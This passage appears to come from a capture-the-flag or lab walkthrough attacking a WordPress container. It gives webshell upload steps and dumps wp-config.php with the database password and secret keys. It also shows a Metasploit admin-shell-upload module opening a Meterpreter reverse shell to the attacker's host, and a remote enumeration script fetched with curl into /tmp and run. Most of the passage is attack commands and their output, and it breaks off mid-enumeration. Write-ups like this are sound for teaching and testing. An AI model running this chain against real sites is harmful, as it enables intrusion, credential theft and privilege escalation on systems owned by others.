2aa11783d05b6a329ffc4d2a1ce037f46162253e55d53764a6a7e998 good job finding this one. Now Lets hunt for…"
Then I uploaded a webshell...
> Step 1. Log into the Wordpress website as 'bob' => http://192.168.1.39:8000/wp-login.php
> Step 2. Go to the PLUGINS section => http://192.168.1.39:8000/wp-admin/plugins.php
> Step 3. Click on 'add a new plugin' => http://192.168.1.39:8000/wp-admin/update.php?action=upload-plugin
> Step 4. Upload a PHP webshell => http://192.168.1.39:8000/wp-admin/plugins.php
> Step 5. Go to the following page => http://192.168.1.39:8000/wp-content/uploads/2020/03/webshell.php
-rw-r--r-- 1 www-data www-data 7205 Mar 16 23:33 /var/www/html/wp-content/uploads/2020/03/webshell.php
ls -al /var/www/html
total 204
drwxr-xr-x 5 www-data www-data 4096 Mar 16 23:03 .
drwxr-xr-x 4 root root 4096 Jul 24 2017 ..
-rw-r--r-- 1 www-data www-data 235 Aug 19 2017 .htaccess
-rw-r--r-- 1 www-data www-data 418 Sep 25 2013 index.php
-rw-r--r-- 1 www-data www-data 19935 Mar 16 23:03 license.txt
-rw-r--r-- 1 www-data www-data 7413 Mar 16 23:03 readme.html
-rw-r--r-- 1 www-data www-data 6864 Mar 16 23:03 wp-activate.php
drwxr-xr-x 9 www-data www-data 4096 Aug 2 2017 wp-admin
-rw-r--r-- 1 www-data www-data 364 Dec 19 2015 wp-blog-header.php
-rw-r--r-- 1 www-data www-data 1627 Aug 29 2016 wp-comments-post.php
-rw-r--r-- 1 www-data www-data 2764 Mar 16 22:31 wp-config-sample.php
-rw-r--r-- 1 root root 3281 Mar 16 22:31 wp-config.php
drwxr-xr-x 6 www-data www-data 4096 Mar 17 00:12 wp-content
-rw-r--r-- 1 www-data www-data 3286 May 24 2015 wp-cron.php
drwxr-xr-x 18 www-data www-data 12288 Aug 2 2017 wp-includes
-rw-r--r-- 1 www-data www-data 2422 Nov 21 2016 wp-links-opml.php
-rw-r--r-- 1 www-data www-data 3301 Oct 25 2016 wp-load.php
-rw-r--r-- 1 www-data www-data 34347 Mar 16 23:03 wp-login.php
-rw-r--r-- 1 www-data www-data 8048 Jan 11 2017 wp-mail.php
-rw-r--r-- 1 www-data www-data 16200 Apr 6 2017 wp-settings.php
-rw-r--r-- 1 www-data www-data 29924 Jan 24 2017 wp-signup.php
-rw-r--r-- 1 www-data www-data 4513 Oct 14 2016 wp-trackback.php
-rw-r--r-- 1 www-data www-data 3065 Aug 31 2016 xmlrpc.php
$ hostname
8f4bca8ef241
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=======================================================================================================
Step 3. Post-Exploitation and Privilege escalation to become Root
=======================================================================================================
$ cat /var/www/html/wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'wordpress');
/** MySQL database password */
define('DB_PASSWORD', 'WordPressISBest');
/** MySQL hostname */
define('DB_HOST', 'db:3306');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '853e970525ab9be27353b4e47e1c7ae74bad6edd');
define('SECURE_AUTH_KEY', 'db109c684d50566b803837fda86203730fb36cea');
define('LOGGED_IN_KEY', '8a0301ce6a8b14a1e15439c1e9cf9c791e5e9157');
define('NONCE_KEY', 'ff187d8251216e06badd61b867c83651c6214ec4');
define('AUTH_SALT', 'd2ca4470f040f6fc2e7336b2c1ea78eacfd6b305');
define('SECURE_AUTH_SALT', 'e35d8bd5577557d947c6e98c510107207d52941e');
define('LOGGED_IN_SALT', '733de3cb7cec9d21c9d77844bacadc1a098a15b4');
define('NONCE_SALT', 'f6af597be5e1f770dfaf3a68f91898b9aada2774');
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the Codex.
*
* @link https://codex.wordpress.org/Debugging_in_WordPress
*/
define('WP_DEBUG', false);
// If we're behind a proxy server and using HTTPS, we need to alert Wordpress of that fact
// see also http://codex.wordpress.org/Administration_Over_SSL#Using_a_Reverse_Proxy
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
$_SERVER['HTTPS'] = 'on';
}
/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
define( 'WP_SITEURL', 'http://' . $_SERVER['HTTP_HOST'] );
define( 'WP_HOME', 'http://' . $_SERVER['HTTP_HOST'] );
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');
$ ip address show
1: lo: <LOOPBACK,UP,LOWER_UP> Mt 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
9: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:12:00:04 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.4/16 scope global eth0
valid_lft forever preferred_lft forever
$ ps -ealwf
F S UID PID PPID C PRI NI ADDR SZ WCHAN STIME TTY TIME CMD
4 S root 1 0 0 80 0 - 78767 - Mar16 ? 00:00:00 apache2 -DFOREGROUND
5 S www-data 91 1 0 80 0 - 99139 - Mar16 ? 00:00:21 apache2 -DFOREGROUND
5 S www-data 94 1 0 80 0 - 99216 - Mar16 ? 00:00:25 apache2 -DFOREGROUND
5 S www-data 109 1 0 80 0 - 80314 - Mar16 ? 00:00:26 apache2 -DFOREGROUND
5 S www-data 110 1 0 80 0 - 99197 - Mar16 ? 00:00:30 apache2 -DFOREGROUND
5 S www-data 113 1 0 80 0 - 99202 - Mar16 ? 00:00:24 apache2 -DFOREGROUND
5 S www-data 119 1 0 80 0 - 99295 - Mar16 ? 00:00:31 apache2 -DFOREGROUND
5 S www-data 120 1 0 80 0 - 99128 - Mar16 ? 00:00:26 apache2 -DFOREGROUND
5 S www-data 121 1 0 80 0 - 80177 - Mar16 ? 00:00:24 apache2 -DFOREGROUND
5 S www-data 129 1 0 80 0 - 99154 - Mar16 ? 00:00:26 apache2 -DFOREGROUND
5 S www-data 138 1 0 80 0 - 99354 - Mar16 ? 00:00:00 apache2 -DFOREGROUND
0 S www-data 147 138 0 80 0 - 1082 - Mar16 ? 00:00:00 sh -c /bin/sh
0 S www-data 148 147 0 80 0 - 1082 - Mar16 ? 00:00:00 /bin/sh
0 S www-data 3600 110 0 80 0 - 1082 - 00:25 ? 00:00:00 sh -c exec 2>&1; ps -ealwf
0 R www-data 3601 3600 0 80 0 - 4373 - 00:25 ? 00:00:00 ps -ealwf
$ find / -name docker*
/etc/apache2/conf-available/docker-php.conf
/etc/apache2/conf-enabled/docker-php.conf
/etc/dpkg/dpkg.cfg.d/docker-apt-speedup
/etc/apt/apt.conf.d/docker-clean
/etc/apt/apt.conf.d/docker-autoremove-suggests
/etc/apt/apt.conf.d/docker-gzip-indexes
/etc/apt/apt.conf.d/docker-no-languages
/usr/local/bin/docker-entrypoint.sh
/usr/local/bin/docker-php-ext-enable
/usr/local/bin/docker-php-entrypoint
/usr/local/bin/docker-php-ext-install
/usr/local/bin/docker-php-ext-configure
/usr/local/bin/docker-php-source
/usr/local/etc/php/conf.d/docker-php-ext-opcache.ini
/usr/local/etc/php/conf.d/docker-php-ext-mysqli.ini
/usr/local/etc/php/conf.d/docker-php-ext-gd.ini
/var/lib/apache2/conf/enabled_by_admin/docker-php
Check if we have access to '/var/run/docker.sock'
-------------------------------------------------
$ ls -al /var/run/docker.sock
ls: cannot access /var/run/docker.sock: No such file or directory
Use the Metasploit framework to get a reverse shell + LinEnum script
=======================================================================
msf5 > use exploit/unix/webapp/wp_admin_shell_upload
msf5 exploit(unix/webapp/wp_admin_shell_upload) > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD Welcome1 yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.39 yes The target address range or CIDR identifier
RPORT 8000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME bob yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 WordPress
msf5 exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 192.168.1.8:4444
[*] Authenticating with WordPress using bob:Welcome1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/NwbkEBdyAM/RDnSgXzJDh.php...
[*] Sending stage (38247 bytes) to 192.168.1.39
[*] Meterpreter session 1 opened (192.168.1.8:4444 -> 192.168.1.39:35008) at 2020-03-17 00:52:21 +0100
[+] Deleted RDnSgXzJDh.php
[+] Deleted NwbkEBdyAM.php
[+] Deleted ../NwbkEBdyAM
meterpreter >
meterpreter > getuid
Server username: www-data (33)
meterpreter > pwd
meterpreter > shell
Process 147 created.
Channel 0 created.
sh: 0: getcwd() failed: No such file or directory
sh: 0: getcwd() failed: No such file or directory
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
hostname
8f4bca8ef241
cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
input:x:101:
systemd-journal:x:102:
systemd-timesync:x:103:
systemd-network:x:104:
systemd-resolve:x:105:
systemd-bus-proxy:x:106:
ls -al
total 0
cd /
ls -al
total 72
drwxr-xr-x 71 root root 4096 Aug 22 2017 .
drwxr-xr-x 71 root root 4096 Aug 22 2017 ..
-rwxr-xr-x 1 root root 0 Aug 22 2017 .dockerenv
drwxr-xr-x 2 root root 4096 Jul 24 2017 bin
drwxr-xr-x 2 root root 4096 Jul 13 2017 boot
drwxr-xr-x 5 root root 340 Mar 16 22:31 dev
drwxr-xr-x 70 root root 4096 Aug 22 2017 etc
drwxr-xr-x 2 root root 4096 Jul 13 2017 home
drwxr-xr-x 13 root root 4096 Aug 4 2017 lib
drwxr-xr-x 2 root root 4096 Jul 23 2017 lib64
drwxr-xr-x 2 root root 4096 Jul 23 2017 media
drwxr-xr-x 2 root root 4096 Jul 23 2017 mnt
drwxr-xr-x 2 root root 4096 Jul 23 2017 opt
dr-xr-xr-x 102 root root 0 Mar 16 22:31 proc
drwx------ 2 root root 4096 Aug 3 2017 root
drwxr-xr-x 7 root root 4096 Aug 22 2017 run
drwxr-xr-x 2 root root 4096 Jul 23 2017 sbin
drwxr-xr-x 2 root root 4096 Jul 23 2017 srv
dr-xr-xr-x 13 root root 0 Mar 16 22:31 sys
drwxrwxrwt 2 root root 4096 Mar 16 23:52 tmp
drwxr-xr-x 44 root root 4096 Aug 4 2017 usr
drwxr-xr-x 33 root root 4096 Aug 4 2017 var
cd /tmp/
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O LinEnums.sh
/bin/sh: 15: wget: not found
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh > LinEnums.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 46631 100 46631 0 0 309k 0 --:--:-- --:--:-- --:--:-- 309k
ls
LinEnums.sh
mv LinEnums.sh LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.982
[-] Debug Info
[+] Thorough tests = Enabled
Scan started at:
Tue Mar 17 00:07:01 UTC 2020
### SYSTEM ##############################################
[-] Kernel information:
Linux 8f4bca8ef241 3.13.0-128-generic #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017 x86_64 GNU/Linux
[-] Kernel information (continued):
Linux version 3.13.0-128-generic (buildd@lgw01-39) (gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) ) #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017
[-] Specific release information:
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION_ID="8"
VERSION="8 (jessie)"
ID=debian
HOME_URL="http://www.debian.org/"
SUPPORT_URL="http://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
[-] Hostname:
8f4bca8ef241
### USER/GROUP ##########################################
[-] Current user/group info:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[-] Users that have previously logged onto the system:
Username Port From Latest
[-] Who else is logged on:
00:07:01 up 1:35, 0 users, load average: 0.00, 0.01, 0.67
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
[-] Group memberships:
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)